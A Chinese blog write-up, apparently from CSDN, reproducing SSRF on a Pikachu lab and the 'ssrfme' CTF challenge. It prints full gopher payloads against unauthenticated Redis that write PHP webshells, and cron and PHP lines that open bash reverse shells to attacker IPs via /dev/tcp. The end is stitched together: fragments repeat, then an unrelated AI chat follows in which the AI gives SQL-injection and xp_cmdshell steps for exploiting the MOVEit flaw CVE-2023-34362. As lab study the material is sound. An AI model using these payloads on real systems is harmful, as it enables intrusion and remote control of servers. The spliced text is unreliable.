web-ssrfme复现

目录

如何是ssr漏洞:

​编辑

一、皮卡丘靶场

docker搭建环境

gopher工具介绍:

工具使用–写任务计划反弹shell:

2月公开赛Web-ssrfme


如何是ssr漏洞:

ssrf:服务器请求伪造漏洞,有一个参数,这个参数可以接收一个网址,可以在本地页面解析,解析过程 中没有进行过滤。

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()  请求网址

一、皮卡丘靶场

docker搭建环境
docker run -d -p 8765:80 8023/pikachu-expect:latest

国内很多加速源都用不成,配置代理拉取即可,配置方式如下:

1,新建目录
mkdir -p /etc/systemd/system/docker.service.d

2,新建文件,粘贴并内容,并保存!
vim /etc/systemd/system/docker.service.d/http-proxy.conf
以下粘贴内容,IP一定要换成你代理软件运行的电脑的内网IP,通过ipconfig可以查看
端口一定要是代理软件设置的局域网端口!
[Service]
Environment="HTTP_PROXY=http://192.168.8.125:10819"
Environment="HTTPS_PROXY=http://192.168.8.125:10819"
Environment="NO_PROXY=your-registry.com,127.0.0.1,*.example.com"  

3,重启Docker
systemctl daemon-reload
systemctl restart docker 

就像这样,可是这样好像也没什么用。

curl支持很多协议,有ftp,ftps,http,https,gopher,telnet,dict,file以及ldap
dict协议:探测服务 ?url=dict://127.0.0.1:3306  
此时读出来一些东西,改成3307没内容。证明dict协议可以去探测内网端口。
主要探测:fastcgi服务,可以去实现rec
        redis服务,6379端口,配合redis未授权访问,redis低版本下,很多人会设置访问密码,且安全模式关闭的情况下,我们可以:1.写入webshell(前提知道物理路径)2.写入任务计划,反弹shell 3.写入公钥,直接登录服务器。      

file协议可以读取文件
?url=file:///var/www/html/inc/config.inc.php
这里读取到了数据库连接文件,前提是:知道路径文件名,看你的当前权限

 

gopher协议
可以发送get和post请求

 获取gopherus工具:

克隆仓库:
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
进入Gopherus/目录下
chmod +x install.sh
sudo ./install.sh
执行安装脚本
由于此工具使用的是python2环境,安装时还会报错,我们去安装一个python2环境即可。
参考:【Ubuntu20.04安装python2和python3及版本配置】http://t.csdnimg.cn/Wf5Qi

克隆仓库过程中会出现请求不到网址,只需要配置代理即可(修改“vpn”的代理)

git config --global http.https://github.com.proxy http://10.100.186.105:7897
地址是你本机的内网地址,端口是你的代理软件开启的端口

安装成功!

gopher工具介绍:
如果您知道某个地方容易受到 SSRF 攻击,那么此工具将帮助您生成 Gopher有效载荷,以利用SSRF,并获得 RCE(远程代码执行)
root@yfy:~/Gopherus# gopherus --exploit redis
//我们选择攻击redis

  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell):PHPshell
//你要反弹shell还是写入phpshell
Give web root location of server (default is /var/www/html):
//你要写入的根路径是哪个?
Give PHP Payload (We have default PHP Shell): <?php phpinfo();
//你要写什么样的webshell?
Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

这段编码的意思是用rides格式,把<?php phpinfo();写入到shell.php文件中,存储在网站根路径/var/www/html 内存数据落盘。
工具使用–写任务计划反弹shell:
What do you want?? (ReverseShell/PHPShell): ReverseShell

Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 192.168.81.132
//反弹到那个接口/
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis :
//写到那个目录
Your gopher link is ready to get Reverse Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.81.132/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

解码后:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$69


*/1 * * * * bash -c "sh -i >& /dev/tcp/192.168.81.132/1234 0>&1" 
任务计划:一分钟执行一次,反弹shell到192.168.81.132/1234端口

*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

意思为把反弹shell的任务计划写到/任务计划目:var/spool/cron/下的root文件里,以root权限执行我们的任务计划。

2月公开赛Web-ssrfme

【题目考查的技术点】

  • SSRF
  • redis未授权访问
  • SSRF攻击内网主机上的redis

经过测试存在ssrf
http://192.168.81.132:8091/?url=www.baidu.com

但是源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。

目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:

查看phpinfo,如下图,可以看到当前主机的内网ip为172.18.0.3:
 

探测一下172.18.0.3上开启了那些服务,使用burpsuite:

http://192.168.81.132:8091/?url=http://172.18.0.3:1234

发现172.18.0.3主机只开放了80端口,放弃这台。

然后我们便可以探测该网段上存活的主机了(可以用burp,但这里手动测试即可):

?url=http://172.18.0.1  # 无存活
?url=http://172.18.0.2   # 发现另一存活机器
?url=http://172.18.0.3   # 当前机器

当我们测试到 172.17.0.2 时,返回了“Go away”:

说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:

发现开发6379端口,说明这台内网主机上还运行着redis服务

redis 未授权访问攻击

接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。

github上有目录爆破词典

 用gopherus工具生成playload

写入路径为/var/www/html/upload
内容为<?php system('cat /flag'); ?>

gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

进行二次编码:
gopher%3A%2F%2F172.18.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

然后使用ssrf访问这个内网的shell.php即可得到flag

http://192.168.81.132:8091/?url=http://172.18.0.2:80/upload/shell.php

我们也可以通过反弹shell来找flag。同样以上操作,会在这台内网主机的upload目录里写入一个shell.php,内容如下:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.81.130/14321 0>&1'"); ?>

gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2482%0D%0A%0A%0A%3C%3Fphp%20exec%28%22/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.81.130/14321%200%3E%261%27%22%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

需要二次编码

 

反弹shell成功,拿到flag!

%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

需要二次编码


[外链图片转存中...(img-s0Q8mVuE-1724773738830)]

反弹shell成功,拿到flag!

 

<think>嗯,用户让我介绍一下CVE-2023-34362的复现方法。首先,我需要确认这个CVE的具体信息。CVE-2023-34362是一个MOVEit Transfer的漏洞,涉及SQL注入和远程代码执行。MOVEit Transfer是Progress Software开发的用于安全文件传输的软件。根据公开资料,这个漏洞存在于2023年5月被披露,影响多个版本,攻击者可以通过构造恶意请求进行利用。 接下来,用户可能想知道如何复现这个漏洞,但必须注意,未经授权的测试是违法的。我需要强调法律和道德问题,提醒用户只能在合法授权的情况下进行测试。然后,我需要分步骤解释复现过程,确保结构清晰。 首先,复现环境需要搭建,比如安装受影响版本的MOVEit Transfer,比如2022.0.5之前的版本。然后,构造恶意HTTP请求,利用SQL注入上传恶意文件。攻击者可能利用的端点可能是/guestaccess.aspx,发送特制的POST请求,注入SQL语句,通过xp_cmdshell执行系统命令。 需要提到具体的请求示例,比如使用Burp Suite或curl发送请求,注入SQL代码写入webshell到服务器。然后通过访问上传的webshell执行任意命令。同时,要说明缓解措施,比如升级到修复版本,禁用xp_cmdshell,部署WAF等。 需要确保技术细节准确,比如SQL注入的步骤,如何触发RCE,以及正确的版本信息。同时,必须反复提醒用户不要进行未经授权的测试,遵守法律。可能还需要解释漏洞的根本原因,比如输入验证不足导致SQL注入,进而通过存储过程执行系统命令。 在回答过程中,要使用中文,结构清晰,分步骤说明。同时注意LaTeX格式的正确使用,但用户的问题中可能不涉及数学公式,所以可能不需要太多LaTeX内容。最后,总结复现的关键点,强调合法性和防护措施。</think>以下为关于CVE-2023-34362漏洞复现的技术分析框架。请注意:**未经授权复现漏洞属于违法行为,本文仅作技术研究参考。** --- ### **1. 漏洞基本信息** - **CVE编号**:CVE-2023-34362 - **影响产品**:Progress Software MOVEit Transfer(企业文件传输工具) - **漏洞类型**:SQL注入 → 远程代码执行(RCE) - **CVSS评分**:9.8(Critical) - **影响版本**:2022.0.5及之前版本 --- ### **2. 漏洞原理** #### **根本原因** - MOVEit Transfer的`guestaccess.aspx`端点未对用户输入进行充分过滤,导致攻击者可通过构造恶意HTTP请求注入SQL语句。 - 通过滥用MSSQL的`xp_cmdshell`存储过程,注入的SQL语句可触发操作系统命令执行。 #### **攻击链** ``` 构造恶意HTTP请求 → SQL注入 → 写入WebShell → 执行系统命令 ``` --- ### **3. 复现环境准备** 1. **受影响版本安装**(需合法授权) - 部署MOVEit Transfer 2022.0.5或更早版本。 - 配置MSSQL数据库,启用`xp_cmdshell`(默认禁用,需手动开启)。 2. **工具准备** - Burp Suite/Postman(构造HTTP请求) - 漏洞利用PoC脚本(需自行开发或参考公开研究) --- ### **4. 复现步骤(技术模拟)** #### **步骤1:SQL注入验证** ```http POST /guestaccess.aspx?__VIEWSTATE=... HTTP/1.1 Host: target.com ... Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="test' WAITFOR DELAY '0:0:5'--" ... ``` - 观察服务器响应延迟5秒,确认存在时间型SQL注入。 #### **步骤2:利用xp_cmdshell执行命令** ```sql '; EXEC xp_cmdshell 'echo "恶意代码" > C:\inetpub\wwwroot\shell.aspx' -- ``` - 通过注入将WebShell写入服务器Web目录。 #### **步骤3:触发远程代码执行** ```http GET /shell.aspx?cmd=whoami HTTP/1.1 Host: target.com ``` - 访问WebShell执行系统命令(如`whoami`)。 --- ### **5. 缓解措施** 1. **官方修复** 升级至MOVEit Transfer 2022.1.6或更高版本。 2. **临时缓解** - 禁用`xp_cmdshell`存储过程 ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; ``` - 部署WAF规则拦截`/guestaccess.aspx`异常请求。 --- ### **6. 法律与道德声明** - 漏洞复现需在授权环境下进行。 - 未经授权的渗透测试违反《计算机欺诈与滥用法》等法律。 如需进一步技术细节(如具体Payload构造),建议参考MITRE CVE官方文档及厂商安全公告。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值